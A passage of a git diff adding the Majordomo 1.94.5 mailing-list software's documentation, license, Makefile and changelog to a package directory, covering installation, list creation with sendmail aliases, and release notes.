Group Lists is simply ownership + delegation. Put Majordomo-owner at the top: + + Mojo Hierarchy + -------------- + Mojo God: All lists + | + Group God: Some lists or commands + | + Command God: Some commands + | + List God: One list + | + Variable God: Some variables + + + o Command queuing: Either plain, ala sendmail, or 'alarm + clocking' -- queue commands, then process when the requests + stop for a certain period. Or perhaps... + + o Majordomo Server. Likely run from inetd, this would be an + interesting way of solving the startup overhead. + + +Now, will all these happen at once? No, not unless someone spends +some development money. What's far more likely is an incremental +change, creaping up to a fabled Majordomo 2.0 knows all, sees all. +Broken down into manageable chunks, I see the following rough order +happening: + + Perl5. APIs, abstraction, and definition of the 'interface + layer' to Majordomo. Perl5 modules replacing bits of + majordomo, and conversion of internal functions to the API. + + Hook implementation. Web interface. Integration of archiving, + digesting. Group Lists, ownership delegation. Access lists. + + Plugins. Database backend for lists, subscribers. Custom + operators. Backend delivery support. + + +Now, by all means, this isn't a complete list. Rather, it's a +compilation of the various ideas that have floated around the +majordomo-workers list and the majordomo developers. + +What is greatly desired is to have the necessary core bits to allow +development of other features to happen in parallel. This could +follow the perl5 module design, with signup of projects to interested +parties. + +Below here is Section 5 of the old README file (1.92), kept as a +placeholder for known bugs as well as random ideas. + +---------------------------------------------------------------------- + +The next major planned release will be majordomo 2.0. The +specification document has been written for it, and is is in the +process of being written. The intent with 2.0 is to have a defined +programmers interface that allows people to develop portable modules +that can be added into majordomo to provide additional +functionality. If you think of majordomo as a stripped down car, and +the addin modules as extra options that you can "buy", then you have +the right idea. Majordomo 1.9x is being released to test the config +file code, and because some of the resend and majordomo features seem +to be needed by people on the majordomo-users list. + +Before the next planned release, there may be other releases in the +1.9x series as bugs are found, and as additional functionality that is +currently hinted at in the config file is added. + +5.1.1 Bugs/Misfeatures/Todo + +The following is a list of things that I want to address at some +point. The items marked with a * imply that patches to implement the +feature have been written, but it is too late in this cycle to apply +the patch and test it. Hopefully some of these items will be fixed +in later versions of majordomo 1.9x. + + 1) Resend only recognizes an Approved: header as the first line in the body. + The approved header should be recognized if it is the first non-blank + line in the body. [[[ fixed in 1.94 ]]] + + 2)* Resend should have a separate moderater address to bounce email to + + 3) Multiple privacy levels have to be provided. yes, no, password protected + + 4) The number of reported hits from which should be tunable + + 5) approve has to be extended to handle almost all commands + + 6) new-list should be part of resend + + 7)* wrapper.c should use sysexits.h for its error codes + [[[ fixed in 1.94 ]]] + 8) auto lists should prevent the list from being subscribed to itself + + 9)* auto lists should make sure that listserv style addresses aren't used + [[[ fixed in 1.94 ]]] +10) provide the ability to smash case of all incoming addresses under + majordomo administrator control. + +11) ability to specify banned users whose posts are ignored. + [[[ fixed in 1.94 with taboo_headers ]]] +12) rework the advertise/noadvertise interface + +13) Look at supporting #included/#exploder lists for mail sublists. + +14) set up reply to be smart enough to break mail loops + (using received: headers) + +15) should -h not be required by resend, or should resend_host keyword go + away? + +16) config should return the input file if there is an error. + +17) digest needs to strip headers and footers from list info. Maybe there + should be a back channel out of resend that doesn't do any + body massaging. + +18) have resend/majordomo check to see if the last Received: line is a + right hand sub/super string of the user's from address. + +19) fix help messages to remove syntax diagram info to stop address + subscriptions like: subscribe list [user@site] + +20)* Support auto digest creation based on number of lines, and age. + +21) Have resend log messages as it sends them through. Can be used to + prevent mail loops as well as provide stats for later use. + +22) analyze code to make sure all areas that require locks are in place + +23) detect error condition (e.g. out of disk space) and deal with them better + [[[ fixed in 1.94 ]]] +24) add code to support incremental config file changes. + +25) add ability to add arbitrary headers to message and check that the + headers are in the proper form. + +26) add the ability to do load limiting of majordomo commands + +27) RCPT messages shouldn't be bounced as administrivia. They should be + in a different class, and should be user settable. + +28) digest always needs to have its archive directory present. Digest + should be rewritten to place its outgoing digest into the + incoming directory, and it should use archive to do archiving if + need be. diff --git a/update/scripts/packages/majordomo-1.94.5/INSTALL b/update/scripts/packages/majordomo-1.94.5/INSTALL new file mode 100644 index 0000000..d247dc9 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/INSTALL @@ -0,0 +1,187 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94.5 + INSTALL + -------------------------------------------------------------------------- + +-> Current users of Majordomo whom are upgrading will want to <-- +-> read the NEWS and Changelog for details on what has changed <-- +-> between versions of Majordomo. <-- + + -------------------------------------------------------------------------- + +** SECURITY ALERT ** + + The default installation of Majordomo, including the checks that +config-test does, WILL NOT RESULT IN A SECURE INSTALLATION. In +particular, the majordomo home directory and the "wrapper" program +are, by default, accessible to any user. These open privileges can be +(mis)used to change list membership, list configuration details, forge +email, perhaps even create and/or delete lists, and anything else that +the majordomo user has permissions to do. + + If Majordomo is *NOT* installed on a secured system with controlled +access (and if you are paranoid, even if it is), you will need to take +additional steps to prevent access to the majordomo directories. +Usually, changing the privileges of the majordomo home directory to be +0750 fixes these problems, but creates the additional burden of +needing to configure the MTA (sendmail, qmail, exim) properly so that +it can read and execute "wrapper". Such configuration is beyond the +scope of this install document, and is left to the FAQ (Doc/FAQ, +Doc/majordomo-faq.html) and the support group +majordomo-users@greatcircle.com to answer. + +** SECURITY ALERT ** + + +UPGRADING: +---------- + +If you're upgrading from a release before 1.94.4, you'll need to either do +a clean install or patch your 1.94.X to 1.94.4 using the patches found at +ftp://ftp.greatcircle.com/pub/majordomo. Then... + +Folks upgrading from 1.94.4 to 1.94.5 have three options: + +1) A clean install. See below. + +2) Patch your _distribution_ of 1.94.4 to 1.94.5: + + % cd distribution/majordomo-1.94.4 + % patch < ...../patches/majordomo-1.94.5/1.94.4-to-1.94.5-patch + + If there are no *.rej files, do a 'make install'. Otherwise, examine + each .rej file and merge the changes in by hand. + +3) Patch your _installation_ of 1.94.4 to 1.94.5: + + % cd /usr/majordomo (ie, where you've installed majordomo) + % patch < ....../majordomo-1.94.5/patches/1.94.4-to-1.94.5-installed-patch + + If there are no *.rej files, you're done! Otherwise, examine + each .rej file and merge the changes in by hand. + + -------------------------------------------------------------------------- + +Steps to do a clean installation of Majordomo: + +1) Pick a group and user ID for Majordomo to run under. Usually this + is "majordomo.daemon". If you're this group, you can do all the + majordomo management functions (creating new lists, etc.) without + having to "su" to Majordomo. You can create and use a group other + id than "daemon" if you want, but if you do, that UID needs to + be a "trusted" user as far as Sendmail is concerned (i.e., the user + name needs to appear on a "T" line in your sendmail.cf file). + + +2) Choose a directory for Majordomo to install into. This must _NOT_ + be the same directory you untarred the Majordomo files into or a + symbolic link to it. + +3) Edit the Makefile, defining where Perl and the C compiler are, the + Majordomo home directory (chosen in step 2), the location of the + manual pages, the user and group that Majordomo will run under, and + the permissions for the various files and directories. If running on + a non-POSIX system, comment out the POSIX SECTION in the Makefile. + Under POSIX, wrapper must be setuid "root", even if the programs will + be running as something other than "root" (i.e., "daemon"), or it + won't work. The symptom of this is that Perl starts complaining about + security violations and "unsafe usages". + +4) Edit majordomo.cf. + + If this is a new install, copy sample.cf to majordomo.cf first. + + This .cf file is "require"ed into majordomo, so it needs to be valid + Perl. Here are the important variables to set: + + $whereami What machine am I on? + $whoami Who do users send requests to me as? + $whoami_owner Who is the owner of the above, for problems? + $homedir Where can I find my extra .pl files? + $listdir Where are the mailing lists? + $log Where do I write my log? + $sendmail_command Where the sendmail program resides. + $mailer What program and args do I use to send mail to the + lists? + $bounce_mailer What program and args do I use to send administrative + messages? + + If this is an upgrade, examine sample.cf for new configuration + variables to place in your existing majordomo.cf. Alternately, running + config-test after the installation is complete will show all the + variables that are missing. + +5) Do a 'make wrapper' to verify that the wrapper program compiles + cleanly. + +6) Do a 'make install' to install the Majordomo programs. This must be + done either as root or as the Majordomo user in order to properly set + the ownership of the various files and directories. + +7) Do a 'make install-wrapper' as root to install the wrapper. This must + be done as root because wrapper must be installed setuid and on POSIX + systems must be owned by root. The wrapper takes care to severely + restrict the programs which may be run by it and further restricts the + environment those programs run with. + +8) Add the majordomo-related aliases to your Sendmail alias file. + This can either be /etc/aliases, or if you are using a more recent + version of Sendmail (8.6 or above) a cleaner approach is to add an + alias file specifically for Majordomo aliases by adding another + "OA" line to /etc/sendmail.cf: + + OA/path/to/majordomo/majordomo.aliases + + If you use the M4 configuration system of recent sendmails, you can add + the following line to your .mc file to achieve the same effect: + + define(`ALIAS_FILE',`/etc/aliases,/path/to/majordomo/majordomo.aliases') + + Whichever method chosen, add the following aliases for Majordomo + itself: + + majordomo: "|/path/to/majordomo/wrapper majordomo" + owner-majordomo: you, + majordomo-owner: you + + Note the program name (majordomo) after wrapper must not be a full path + name. Also look at 'majordomo.aliases' for additional examples. + +9) Chdir to the Majordomo home and (as a regular, unprivileged user, not + the Majordomo user or root) run the configuration test script: + + % cd /path/to/majordomo + % ./wrapper config-test + + This should check for the proper configuration of Majordomo. Fix + any errors, and run again. When the process is complete and there are + no errors, config-test will offer to register your installation of + Majordomo by sending information on your operating system, your Perl + version, and the address of the Majordomo owner to the Majordomo + maintainers. A copy of the message will also be sent to the Majordomo + owner at your site. + + Note that if you have a setup which uses more than one configuration + file, you can have config-test check them by calling it with the name of + an alternate configuration file, like so: + + % ./wrapper config-test alternate.cf + +10) Test the configuration again by creating an empty file 'test' in + $listdir, and issue a 'lists' command to Majordomo: + + % touch /path/to/majordomo/lists/test + % echo 'lists' | mail majordomo + + If everything is working correctly, you should get a message back + from Majordomo, and not Mailer-Daemon. + +11) Browse the Frequently Asked Questions (Doc/FAQ), it can answer + many questions that you might have. + +That's it! To create new lists, read the NEWLIST file. + + diff --git a/update/scripts/packages/majordomo-1.94.5/LICENSE b/update/scripts/packages/majordomo-1.94.5/LICENSE new file mode 100644 index 0000000..46e954e --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/LICENSE @@ -0,0 +1,142 @@ + MAJORDOMO LICENSE AGREEMENT + + + Version 1.1 + 18 May 96 + +Great Circle Associates (GCA) is the original developer of Majordomo, +a package for managing Internet mailing lists. Since its initial +release, many organizations and individuals have contributed +enhancements and fixes, but the original copyright has been retained +by Great Circle Associates. + +Majordomo is distributed in source code form, with almost all +modules written in Perl (there is one small C program), and runs +on many UNIX platforms. Majordomo is not a supported product of +Great Circle Associates, but is made available for use on the following +basis. + +GCA grants you a license as follows to the Majordomo package: + + 1. LICENSE. GCA grants you a non-exclusive, non-transferable +license for the Majordomo package ("Majordomo") and its associated +documentation, subject to all of the following terms and conditions. +In accepting a copy of Majordomo you agree to the following terms +and conditions. + + This license permits you to use, copy, and modify Majordomo +solely for your organization's use. + + 2. LIMITATIONS ON LICENSE. + + a. You may only use, copy, and modify Majordomo + as expressly provided for in this Agreement. + You must reproduce and include this Agreement, and + GCA's copyright notices on any copy and its + associated documentation. + + b. No part of Majordomo may be incorporated into any + program or other product that is sold, or for which any + revenue is received without written permission of + Great Circle Associates, with the following exceptions: + + You may install Majordomo at your site and run + mailing lists for other using it, and charge for + that service. + + You may install Majordomo at other sites, and + charge for your time to install, configure, + customize, and manage it. + + You may charge for enhancements you've made to + the Majordomo software, subject to the distribution + restrictions listed below. + + You may not charge for the Majordomo software + itself. + + A commercial license will be required in all other cases. + + c. If Majordomo is being provided or configured for a + customer, the provider must clearly state in + documentation and bid/proposal materials that the + Majordomo technologies are licensed and provided + by Great Circle Associates, and a copy of this + license must be included with the configured + system. + + d. Majordomo, if modified, must carry prominent notices + stating that changes have been made, and the dates of + any such changes. + + You may publicly distribute an unmodified and + complete version of Majordomo, for instance as + part of a collection of free software packages, + but you must distribute the whole package, and + you must tell people where they can obtain the + latest version: + ftp://ftp.greatcircle.com/pub/majordomo/ + + You may not publicly distribute a modified or + incomplete version of Majordomo. You may make + such a version available to your own clients, + subject to the restrictions below, but not to the + general public (for instance, by placing it on an + anonymous FTP site). + + You may not distribute (publicly or privately) a modified + version of Majordomo without clearly identifying it as such + (by changing the version string in majordomo_version.pl), + identifying the changes (through appropriate README + documentation and/or comments in the code), + identifying who will be responsible for supporting + the modified version, and informing people receiving + the modified version where they can find an + unmodified version: + ftp://ftp.greatcircle.com/pub/majordomo/ + + e. All rights not expressly granted herein are reserved to GCA. + + 3. NO GCA OBLIGATION: You are solely responsible for maintaining +your copy of Majordomo and the security of the operating environment in +which Majordomo may be used. You are solely responsible for all of your +costs and expenses incurred in connection with the distribution of Majordomo +or any Application Program hereunder, and GCA shall have no liability, +obligation or responsibility therefor. GCA shall have no obligation to +provide maintenance, support, upgrades, or new releases to you. + + 4. NO WARRANTY OF PERFORMANCE. Majordomo and its associated +documentation are licensed "as is" without warranty as to their +performance, merchantability, or fitness for any particular purpose. +The entire risk as to the results and performance of Majordomo is +assumed by you. Should Majordomo prove defective, you assume the +entire cost of all necessary servicing, repair, or correction. + + 5. LIMITATION OF LIABILITY. Neither GCA nor any other +person who has been involved in the creation, production or delivery +of Majordomo shall be liable to you or to any other person for any +direct, indirect, special, incidental, consequential, or punitive +damages, even if GCA has been advised of the possibility of such +damages. + + 6. TERM. The license granted hereunder is effective until +terminated. This license shall automatically terminate without notice +if you breach any of the provisions hereof. You may terminate it at +any time by destroying Majordomo and its associated documentation. + + 7. GENERAL. + + a. This Agreement shall be governed by the laws of + the State of California. + + b. Address all correspondence regarding this license + to GCA's electronic mail address + , or to + + Great Circle Associates + 1057 West Dana Street + Mountain View, CA 94041 + USA + +[ Note: the form of this license was derived, by permission, from the license +for the Firewalls Toolkit distributed by Trusted Information Systems, Inc. ] diff --git a/update/scripts/packages/majordomo-1.94.5/Makefile b/update/scripts/packages/majordomo-1.94.5/Makefile new file mode 100644 index 0000000..90f9c15 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Makefile @@ -0,0 +1,237 @@ + +#$Modified: Tue Jan 18 14:58:24 2000 by cwilson $ +# +# $Source: /sources/cvsrepos/majordomo/Makefile,v $ +# $Revision: 1.64 $ +# $Date: 2000/01/18 14:01:17 $ +# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.64 2000/01/18 14:01:17 cwilson Exp $ +# + +# This is the Makefile for Majordomo. +# +#------------- Configure these items ----------------# +# + +# Put the location of your Perl binary here: +PERL = /usr/bin/perl + +# What do you call your C compiler? +CC = cc + +# Where do you want Majordomo to be installed? This CANNOT be the +# current directory (where you unpacked the distribution) +W_HOME = /etc/virtual/majordomo + +# Where do you want man pages to be installed? +MAN = $(W_HOME)/man + +# You need to have or create a user and group which majordomo will run as. +# Enter the numeric UID and GID (not their names!) here: +W_USER = 987 +W_GROUP = 2 + +# These set the permissions for all installed files and executables (except +# the wrapper), respectively. Some sites may wish to make these more +# lenient, or more restrictive. +FILE_MODE = 644 +EXEC_MODE = 755 +HOME_MODE = 751 + +# If your system is POSIX (e.g. Sun Solaris, SGI Irix 5 and 6, Dec Ultrix MIPS, +# BSDI or other 4.4-based BSD, Linux) use the following four lines. Do not +# change these values! +WRAPPER_OWNER = root +WRAPPER_GROUP = $(W_GROUP) +WRAPPER_MODE = 4755 +POSIX = -DPOSIX_UID=$(W_USER) -DPOSIX_GID=$(W_GROUP) +# Otherwise, if your system is NOT POSIX (e.g. SunOS 4.x, SGI Irix 4, +# HP DomainOS) then comment out the above four lines and uncomment +# the following four lines. +# WRAPPER_OWNER = $(W_USER) +# WRAPPER_GROUP = $(W_GROUP) +# WRAPPER_MODE = 6755 +# POSIX = + +# Define this if the majordomo programs should *also* be run in the same +# group as your MTA, usually sendmail. This is rarely needed, but some +# MTAs require certain group memberships before allowing the message sender +# to be set arbitrarily. +# MAIL_GID = numeric_gid_of_MTA + +# This is the environment that (along with LOGNAME and USER inherited from the +# parent process, and without the leading "W_" in the variable names) gets +# passed to processes run by "wrapper" +W_SHELL = /bin/sh +W_PATH = /bin:/usr/bin:/usr/ucb +W_MAJORDOMO_CF = $(W_HOME)/majordomo.cf + +# A directory for temp files.. +TMPDIR = /tmp + +#--------YOU SHOULDN'T HAVE TO CHANGE ANYTHING BELOW THIS LINE.------------- + +VERSION = 1.94.5 + +# For those stupid machines that try to use csh. Doh! +SHELL = /bin/sh + +WRAPPER_FLAGS = -DBIN=\"$(W_HOME)\" -DPATH=\"PATH=$(W_PATH)\" \ + -DHOME=\"HOME=$(W_HOME)\" -DSHELL=\"SHELL=$(W_SHELL)\" \ + -DMAJORDOMO_CF=\"MAJORDOMO_CF=$(W_MAJORDOMO_CF)\" \ + $(POSIX) + +INSTALL = ./install.sh + +TMP = $(TMPDIR)/mj-install-$(VERSION) + +TOOLS = archive.pl archive_mh.pl \ + digest.send makeindex.pl \ + logsummary.pl new-list sequencer + +BINBIN = approve bounce medit + +BIN = bounce-remind config_parse.pl majordomo majordomo.pl \ + majordomo_version.pl request-answer resend \ + shlock.pl config-test archive2.pl digest + +INSTALL_FLAGS = -O $(W_USER) -g $(W_GROUP) + +default: + @echo "make what?" + @echo " install: installs everything." + @echo " install-wrapper: only install wrapper." + @echo " install-scripts: only install the scripts." + @echo " wrapper: only make wrapper." + +install: wrapper install-scripts install-cf install-man + @echo "" + @echo "To finish the installation, 'su' to root and type:" + @echo "" + @echo " make install-wrapper" + @echo "" + @echo "If not installing the wrapper, type" + @echo "" + @echo " cd $(W_HOME); ./wrapper config-test" + @echo "" + @echo "(no 'su' necessary) to verify the installation." + + +install-wrapper: wrapper + $(INSTALL) -o $(WRAPPER_OWNER) -g $(WRAPPER_GROUP) \ + -m $(WRAPPER_MODE) wrapper $(W_HOME)/wrapper + @echo "" + @echo "To verify that all the permissions and etc are correct," + @echo "run the command" + @echo "" + @echo " cd $(W_HOME); ./wrapper config-test" + +# fix where perl lives. +# Create a tmp directory to stuff all the files in, so we +# don't go blithly changing the master copies of stuff. +# +config-scripts: + @echo "Testing for perl ($(PERL))..." + @test -f $(PERL) -a -x $(PERL) || \ + { echo "You didn't correctly tell me where Perl is."; exit 1; } + @rm -rf $(TMP); mkdir $(TMP) + @echo "Configuring scripts..." + @for file in $(TOOLS); do \ + cp contrib/$$file $(TMP) ; \ + done + @cp $(BINBIN) $(BIN) $(TMP) + @cd $(TMP); $(PERL) -p -i -e 's@^#!\S+perl.*@#!$(PERL)@' $(TOOLS) $(BINBIN) $(BIN) + + +install-scripts: config-scripts + $(INSTALL) -m $(HOME_MODE) $(INSTALL_FLAGS) . $(W_HOME) + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) . $(W_HOME)/bin + + @echo "Copying tools to $(W_HOME)/bin" + + @for file in $(BINBIN); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/bin/$$file; \ + done + + @echo "Copying Majordomo files to $(W_HOME)" + + @for file in $(BIN); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/$$file; \ + done + + @echo "Copying archiving and other tools to $(W_HOME)/Tools" + + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) . $(W_HOME)/Tools + + @for file in $(TOOLS); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/Tools/$$file; \ + done + + @rm -rf $(TMP) + +# the install.cf target will install the sample config file in the proper +# place unless a majordomo.cf file exists, in which case the majordomo.cf +# file will be used. It won't overwrite an existing majordomo.cf file. In +# all cases, the sample.cf file must be installed so that config-test will +# be able to check for new variables. +install-cf: + @if [ ! -f $(W_HOME)/majordomo.cf ]; \ + then \ + if [ -f majordomo.cf ]; \ + then \ + echo "Using majordomo.cf"; \ + $(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + majordomo.cf $(W_HOME)/majordomo.cf; \ + else \ + echo "Using sample.cf"; \ + $(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + sample.cf $(W_HOME)/majordomo.cf; \ + fi; \ + else \ + echo "Using installed majordomo.cf"; \ + fi; + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + sample.cf $(W_HOME) + +install-man: + @echo "Installing manual pages in $(MAN)" + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN) + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN)/man1 + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN)/man8 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/approve.1 $(MAN)/man1/approve.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/digest.1 $(MAN)/man1/digest.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/bounce.1 $(MAN)/man1/bounce.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/bounce-remind.1 $(MAN)/man1/bounce-remind.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/resend.1 $(MAN)/man1/resend.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/majordomo.8 $(MAN)/man8/majordomo.8 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/resend.1 $(MAN)/man1/resend.1 + +wrapper: wrapper.c + $(CC) $(WRAPPER_FLAGS) -o wrapper wrapper.c + +clean: + rm -f wrapper *~ + +dist-clean: clean + rm -f majordomo.cf .cvsignore todo.local .dcl archive + rm -rf regress Doc/samples Tools + +distribution: dist-clean + mkdir majordomo-$(VERSION) + mv * .??* majordomo-$(VERSION) || exit 0 + rm -rf majordomo-$(VERSION)/CVS majordomo-$(VERSION)/*/CVS \ + majordomo-$(VERSION)/*/*/CVS + tar -cvf majordomo-$(VERSION).tar.Z\ + majordomo-$(VERSION) diff --git a/update/scripts/packages/majordomo-1.94.5/NEWLIST b/update/scripts/packages/majordomo-1.94.5/NEWLIST new file mode 100644 index 0000000..89b4aa2 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/NEWLIST @@ -0,0 +1,138 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94.4 + NEWLIST + -------------------------------------------------------------------------- + +List names must be of the form "[a-z0-9_-]+" (in other words, letters, +digits, underbars, or dashes only). List may be of mixed or upper +case, but all references to the list name below must be specified +in lower case EXCEPT for the -l arguments of resend and majordomo. + +To create a list: + +1) Create an empty file called in $listdir, mode 664. + +2) Create a file called ".info" in $listdir, mode 664, with + the initial introductory info for the list in it. + +3) Create the appropriate entries for the list in your Sendmail + aliases file (/etc/aliases or a separate majordomo.aliases file.) + + Each list requires several aliases. For an example list called + 'test', these aliases are required: + + test The list alias itself + owner-test The owner of the list (who should get bounces) + test-request The address for administrative requests. + test-approval The person who approves postings to the list + (for moderated lists as well as unmoderated ones) + + These would look like this: + + test: :include:/usr/test/majordomo-1.94.3/lists/test + owner-test: you, + test-request: "|/usr/test/majordomo-1.94.3/wrapper request-answer test" + test-approval: you + + It's more likely that the outgoing messages to the list will be + passed through "resend" to catch Majordomo commands, as well as + give other useful features. A typical set of aliases without anything + fancy, such as archiving or digesting, would look like this: + + test: "|/usr/test/majordomo-1.94.3/wrapper resend -l test test-list" + test-list: :include:/usr/test/majordomo-1.94.3/lists/test + owner-test: you, + test-owner: you + test-request: "|/usr/test/majordomo-1.94.3/wrapper majordomo -l test" + + Finally, a more complete set of aliases that provides digestification, + archiving, and header manipulation would look like: + + test:"|/tools/majordomo/wrapper resend -l test -h cs.umb.edu test-outgoing" + test-digest:test + + # I put the digest and archive programs on the outgoing list so that + # messages bounced by resend don't end up in the digest or archive + # unless I send them through resend explicitly. + test-outgoing: :include:/usr/local/Lists/test, + "| /tools/majordomo/wrapper digest -r -C -l test-digest test-digest-outgoing", + "| /tools/majordomo/wrapper archive2.pl -a -m + -f /usr/local/mail/archive/test/test.archive" + # archive produces a monthly archive with the -m flag. + + test-digest-outgoing::include:/usr/local/Lists/test-digest + + owner-test:you, + owner-test-outgoing:owner-test + + # note that the "-digest" and "-digest-outgoing" suffixes + # are required to allow the majordomo mkdigest command, and the + # config code to work properly. + owner-test-digest:owner-test + owner-test-digest-outgoing:owner-test + + test-request: "|/tools/majordomo/wrapper request-answer test" + test-digest-request: "|/tools/majordomo/wrapper request-answer test-digest" + + test-approval:you, + test-digest-approval:test-approval + + As you can see, setting up a list can be quite complex. + + You can run majordomo at the -request address (recommended), and it will + handle requests such as: + + subscribe + unsubscribe + signoff + + without requiring the user to supply a list name. To do this set up an + alias similar to: + + test-request: "|/tools/majordomo/wrapper majordomo -l test" + + Where the argument to -l is the name of the list. + + Hopefully in a future release of majordomo archive2.pl will be + integrated into majordomo so that the frequency of archive rollover + (daily, monthly, yearly) will be controllable via the config file + mechanism. + + ***** NOTE: CONVERTING FROM A PREVIOUS MAJORDOMO VERSION ***** + For those who are converting from an earlier version of + majordomo, note that resend has very few command line + arguments. If you don't strip the command line arguments from resend, + the comments in the configuration file that deal with default + values for resend will be incorrect. + + + More examples of alias setups can be found in the file majordomo.aliases. + For sendmail users, don't forget to run 'newaliases' to rebuild the + alias database. + + +4) If the list will be archived, create an archive directory in the + location specified by the $filedir and $filedir_suffix variables. + +5) If the list has a digest, create a digest work (incoming) subdirectory + under $digest_work_dir. Use the same name as the digest list (example: + test-digest). You also must create an archive directory for the digest + list as explained in step 4. + +6) Finally, make sure everything is owned by user majordomo, group + majordomo, and writable by both owner and group (i.e., mode 664 for + files and mode 775 for directories). + +7) Now issue a 'config .admin' command to + Majordomo. This will cause it to create a default configuration + file for the list, and send it back to you. Make any desired + changes, SUCH AS CHANGING THE DEFAULT PASSWORDS, as well as adding + a description, and send it back with the 'newconfig' command. + + +Now send a test subscribe and unsubscribe, just to further verify that +the list is working. + diff --git a/update/scripts/packages/majordomo-1.94.5/NEWS b/update/scripts/packages/majordomo-1.94.5/NEWS new file mode 100644 index 0000000..23f3724 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/NEWS @@ -0,0 +1,148 @@ +Changes from 1.94.4 to 1.94.5 + +A straightforward patch release, 99% from the collected +1.94.4 patches: + +o digest_rm_fronter and digest_rm_footer now work. +o unsubcribe_policy now has +confirm feature +o More hostile address checking +o archive2.pl makes archives world readable. +o bounce had an innocuous y2k bug, and wanted a 'bounces' list password even + when called as unsub +o better description of the moderator function. +o Fixes 'restrict_post = #!$list' substitution and blank lines + in config files +o Better error reporting when majordomo.cf is wrong. +o Detects some attachments sent as commands +o Approve commands can span lines now. +o resend has better messages for taboo_headers problems +o fixed: header corruption when Subject: is blank and subject tags are used. + +========================================================================================= +archive2.pl.0 () Ensures archives are world readable. +bounce.0 () Bounce script and unsub. +config_parse.pl.1 () Another trivial 1.94.4 patch: moderator +config_parse.pl.2 (B) Fixes 'restrict_post = #!$list' substitution +config_parse.pl.5 (F) Fixes failing to accept newconfig... (cleaned) +config_parse.pl.6 (B) Fixes bug when several consecutive blank lines + or a trailing blank line appear in a string array +digest-config_parse.pl.1 (F) Adds the functionality promised by digest_rm_fronter +majordomo-config.1 (F) +config patches for unsubscribe_policy +majordomo.0b (B+) Fixes some error messages and minor bugs related to + aliasing -request to invoking majordomo with -l +majordomo.1 (F) PATCH: no attachments (was Re: Strange stuff) +majordomo.3 () A minor little patch that cleans up newinfo/newintro +majordomo.6 (F) Patch for APPROVE linewraps +majordomo.7 () Work-around for Perl 5.005 problem +majordomo.pl.1 (S+) Fixes security hole with :include:syslog (untested) +request-answer.0 () Request-answer should not reply to mailer-daemon et al +resend.2 (F) A nice patch for debugging taboo_headers +resend.5 (B++) Fixes header corruption when Subject: is + blank and subject tags are used +resend.8 () More headers for the skip headers string +resend_parse.1 () Corrected PATCH: moderator behavior + + + + +Changes from 1.94.3 to 1.94.4 + +o Security fix for advertise/noadvertise eval hole. +o Security fix for wrapper env overrun +o Fixed race condition in unsubscribing, config lock not being freed, + EOF tests fail due to bad assumptions +o mungedomain wasn't working properly +o fixes to commented-out sample.cf code. +o archive2.pl now has -D -M -Y arguments for 4 digit years. +o added "welcome" and "announcments" keywords. +o Digest fixes for -C + + +Changes from 1.94.2 to 1.94.3: + +o removed wrapper since it snuck into the tarball +o fixed medit. + +Changes from 1.94.1 to 1.94.2: + +o More documentation fixes. +o increased checking in regexps +o better locking +o ignore directories in the list directory. +o resend doesn't abort if the sendmail error is EX_NOUSER + + +Changes from 1.94 to 1.94.1 + +Improved Installation: + +The installation process has been improved. The Makefile is now simpler +and makes use of an external "install" program (included as install.sh). + +The permissions for all installed files can be easily set in the Makefile. +In addition, the default permission for $homedir has been made slightly +more lenient, to avoid problems with the mailer not being able to execute +the wrapper. + +The installation checker, config-test, has been improved with more checks +and better detection of situations where it's being run improperly. It +will automatically warn of new configuration variables that should be set +in majordomo.cf. + +The digest and archive2.pl programs have been moved from the Tools +directory to the main directory since they are usually run by the wrapper +and must be there anyway. + + +Changes visible to the Majordomo owner: + +The default $sendmail_command now includes the -oee option to force +sendmail to mail as many errors as possible instead of exiting with nonzero +exit code at unpredictable times. + +Code is provided in majordomo.cf to prevent majordomo, resend and the +tools from running when the system load average exceeds a configurable +limit. This code is disabled by default. It requires the standard +"uptime" command. + +The default umask for all majordomo-created files is now set in +majordomo.cf, and defaults to 007. + +The variable $shlock'retries has been renamed to $shlock'waittime to better +match its actual meaning as the maximum time (in seconds) that the locking +system will wait for a lock. + +A new variable, $majordomo_dont_reply, has been added. Majordomo will not +respond to any piece of mail sent from an address matching this regular +expression. It defaults to '(mailer-daemon|uucp|listserv|majordomo)\@'. + +The locking system has been improved and should have much greater +resistance to looping and otherwise uncontrolled behavior in the face of +improperly set permissions and nonexistent files. + +Many bugs relating to an improperly set $bounce_mailer have been fixed. +This should end the abort 